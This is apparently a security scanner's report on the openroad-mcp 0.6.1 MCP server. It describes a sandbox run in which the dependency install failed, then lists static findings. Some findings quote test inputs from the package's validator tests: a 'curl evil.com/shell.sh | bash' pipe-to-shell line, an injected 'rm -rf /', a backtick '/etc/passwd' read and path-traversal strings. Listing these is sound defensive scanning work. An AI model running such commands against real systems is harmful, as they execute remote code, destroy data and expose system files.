Skills/PyPI/openroad-mcp

openroad-mcp@0.6.1

VERIFIED· not started

Publisher claims: "The OpenROAD MCP server" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher precision-innovations-it-support · publishing for 268 daysInstalls 0Last detonated 15 h ago
$claude mcp add openroad-mcp -- uvx openroad-mcp
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Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Verified here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
no credential variables read in the code
Where it talks to
no vendor host named in the code
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it under the guard. Not started: dependency install failed; the server itself was not observed. The code names no credential variable; the guard pins the network to what the honeypot saw and logs every call.

$vet-skills run --net declared -- uvx openroad-mcp

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-13 and scored it 85/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1 ·
0.1sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.2sprocessscript backend runs setup only
0.2sprocessno install scripts to re-run

Static findings

MEDIUM
Process kill commandsrc/openroad_mcp/interactive/pty_handler.py:249 · Process kill command — agent can terminate processes# Force kill if graceful shutdown failsFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagesrc/openroad_mcp/main.py:17 · npx invocation of non-well-known package — may execute untrusted code"npx -y openroad-mcp. See "Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Remote installer piped to shelltests/interactive/test_command_validation.py:168 · Remote installer piped to shellpty_handler._validate_command(["/bin/bash", "-c", "curl evil.com/shell.sh | bash"])Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Access to sensitive file pathstests/tools/test_report_images.py:400 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesresult_json = await read_tool.execute("nangate45", "gcd", "run-123", "../../../etc/passwd")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Pipe-to-shell patterntests/interactive/test_command_validation.py:168 · Pipe-to-shell pattern — downloads and immediately executes remote codepty_handler._validate_command(["/bin/bash", "-c", "curl evil.com/shell.sh | bash"])Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Process kill commandtests/interactive/conftest.py:27 · Process kill command — agent can terminate processes# Blanket asyncio.all_tasks() cancellation is intentionally avoided: it would killFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/interactive/test_command_validation.py:143 · Destructive command against a filesystem root or devicepty_handler._validate_command(["openroad", "-cmd", "read_lef design.lef; rm -rf /"])Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/interactive/test_command_validation.py:143 · Destructive file system command detectedpty_handler._validate_command(["openroad", "-cmd", "read_lef design.lef; rm -rf /"])Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
File type combined with upload actiontests/integration/test_pty_integration.py:292 · File type combined with upload action — agent may exfiltrate local data filesassert "test.txt" in output_str # File from working directoryFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Access to sensitive file pathstests/interactive/test_command_validation.py:148 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filespty_handler._validate_command(["openroad", "`cat /etc/passwd`"])Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/tools/test_report_images.py:367 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesresult_json = await list_tool.execute("nangate45", "gcd", "../../../etc/passwd")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05

Cost to the agent

Instructions loaded
≈42 tok
1 file · 56 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for openroad-mcp@0.6.1 as of 15 h ago. This is the package itself, not its dependencies.